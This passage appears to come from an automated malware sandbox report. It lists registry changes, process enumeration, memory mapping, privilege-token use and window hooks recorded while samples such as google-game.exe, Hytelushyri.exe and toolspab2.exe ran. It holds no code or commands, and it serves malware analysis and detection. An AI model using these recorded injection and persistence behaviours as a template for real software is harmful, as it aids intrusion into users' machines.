\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" app.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\InprocHandler32\ = "ole32.dll" google-game.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 301bd569d72dd701 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{C72D6823-3042-4C65-8822-9915EF37E7AF} = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "395205405" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 0100000048f5fe02eade28901a6ea3c7bddc7a5c883c8f231e193257678f99949508a3ba1009373891c31911046085ef9d7e7dcbbfaee4b230a74513ddc7 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 6549a84b7836d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = e0d9abadaa36d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\ImageStoreRandomFolder = "r006lnc" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{E9574F9C-0A5D-4A26-8B94-EFD9774CB068}" MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\ = "Unicode.Application" google-game.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\InprocHandler32 google-game.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\LocalServer32 google-game.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "325768401" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 010000008d3cb3cf1d5dc9e257f7d9eb76349f0865599acda15638a3e21a60111e9ad3a374b8e8176689cab28f9271509f02e5f1a60d22111cd91f15f8b2d85a43735ce7294d96faae6a07e5b10e6a89b36224c509c397d15fcbceaa001f MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\Certificates MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{509A7326-C45B-477E-A151-3036316530DC}\ProgID\ = "Unicode.Application" google-game.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "5" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
ultramediaburner.tmpHytelushyri.exepid process 3220 ultramediaburner.tmp 3220 ultramediaburner.tmp 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe 3948 Hytelushyri.exe -
Suspicious behavior: MapViewOfSection 45 IoCs
Processes:
MicrosoftEdgeCP.exetoolspab2.exeexplorer.exeexplorer.exeexplorer.exepid process 4196 MicrosoftEdgeCP.exe 4196 MicrosoftEdgeCP.exe 4152 toolspab2.exe 1392 1392 1392 1392 1392 1392 1392 1392 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 5580 explorer.exe 1392 1392 1392 1392 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 2252 explorer.exe 1392 1392 1392 1392 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 5776 explorer.exe 1392 1392 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Ultra.exeRodaelesosha.exeHytelushyri.exeMicrosoftEdge.exeMicrosoftEdgeCP.exerundll32.exesvchost.exetaskkill.exesvchost.exesvchost.exedescription pid process Token: SeDebugPrivilege 2104 Ultra.exe Token: SeDebugPrivilege 1196 Rodaelesosha.exe Token: SeDebugPrivilege 3948 Hytelushyri.exe Token: SeDebugPrivilege 3008 MicrosoftEdge.exe Token: SeDebugPrivilege 3008 MicrosoftEdge.exe Token: SeDebugPrivilege 3008 MicrosoftEdge.exe Token: SeDebugPrivilege 3008 MicrosoftEdge.exe Token: SeDebugPrivilege 4504 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4504 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4504 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4504 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeTcbPrivilege 3572 svchost.exe Token: SeDebugPrivilege 4680 taskkill.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeDebugPrivilege 4424 rundll32.exe Token: SeAuditPrivilege 2340 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe Token: SeAuditPrivilege 2340 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2592 svchost.exe Token: SeIncreaseQuotaPrivilege 2592 svchost.exe Token: SeSecurityPrivilege 2592 svchost.exe Token: SeTakeOwnershipPrivilege 2592 svchost.exe Token: SeLoadDriverPrivilege 2592 svchost.exe Token: SeSystemtimePrivilege 2592 svchost.exe Token: SeBackupPrivilege 2592 svchost.exe Token: SeRestorePrivilege 2592 svchost.exe Token: SeShutdownPrivilege 2592 svchost.exe Token: SeSystemEnvironmentPrivilege 2592 svchost.exe Token: SeUndockPrivilege 2592 svchost.exe Token: SeManageVolumePrivilege 2592 svchost.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
ultramediaburner.tmppid process 3220 ultramediaburner.tmp 1392 1392 1392 1392 -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exedata_load.exeFB4F.exepid process 3008 MicrosoftEdge.exe 4196 MicrosoftEdgeCP.exe 4196 MicrosoftEdgeCP.exe 1972 google-game.exe 1972 google-game.exe 960 data_load.exe 5456 FB4F.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
pid process 1392 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
